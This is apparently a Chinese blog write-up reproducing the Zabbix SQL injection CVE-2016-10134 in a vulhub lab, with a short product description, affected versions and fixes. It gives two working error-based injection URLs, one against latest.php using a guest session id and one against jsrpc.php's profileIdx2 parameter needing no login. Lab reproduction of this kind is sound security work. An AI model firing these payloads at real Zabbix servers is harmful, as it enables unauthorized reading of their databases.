最近也是遇见了Zabbix,所以这里以CVE-2016-10134为例复现一下该漏洞
什么是Zabbix?
zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。
zabbix由2部分构成,zabbix server与可选组件zabbix agent。zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能,它可以运行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平台上。
漏洞复现
我们这里是用vulhub这个靶场生成的Zabbix这个漏洞环境
大概的登录界面就是这样子
有两个页面分别存在注入,我们来分开验证一下
1. latest.php
(1)这个前提需要登入进去,比如未关闭Guest等。
攻击机已知靶机ip,且靶机系统未关闭默认开启guest账户登陆
访问http://xx.xx.xx.xx:8080,用账号guest(密码为空)登录游客账户
(2)这个需要把cookie中的zbx_sessionid后16值拿出来,当作下面payload中sid值,然后进行注入。(这里的sid是登录界面的zbx_sessionid)
(3)payload:http://ip:port/latest.php?output=ajax&sid=d069aac010102217&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
说明此页面存在sql注入
2. jsrpc.php
漏洞产生原因:profileIdx2
参数没有被过滤
利用条件:guest
用户开启,允许访问
影响版本:2.0.x
| 2.2.x
| 2.4.x
| 3.0.0-3.0.3
通过这个无需登入
payload:http://ip:port/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)
漏洞修复:
1.禁用Guest账户,关闭无用账户。
2.打补丁,升级zabbix版本。
参考:https://www.jianshu.com/p/40a0e8238878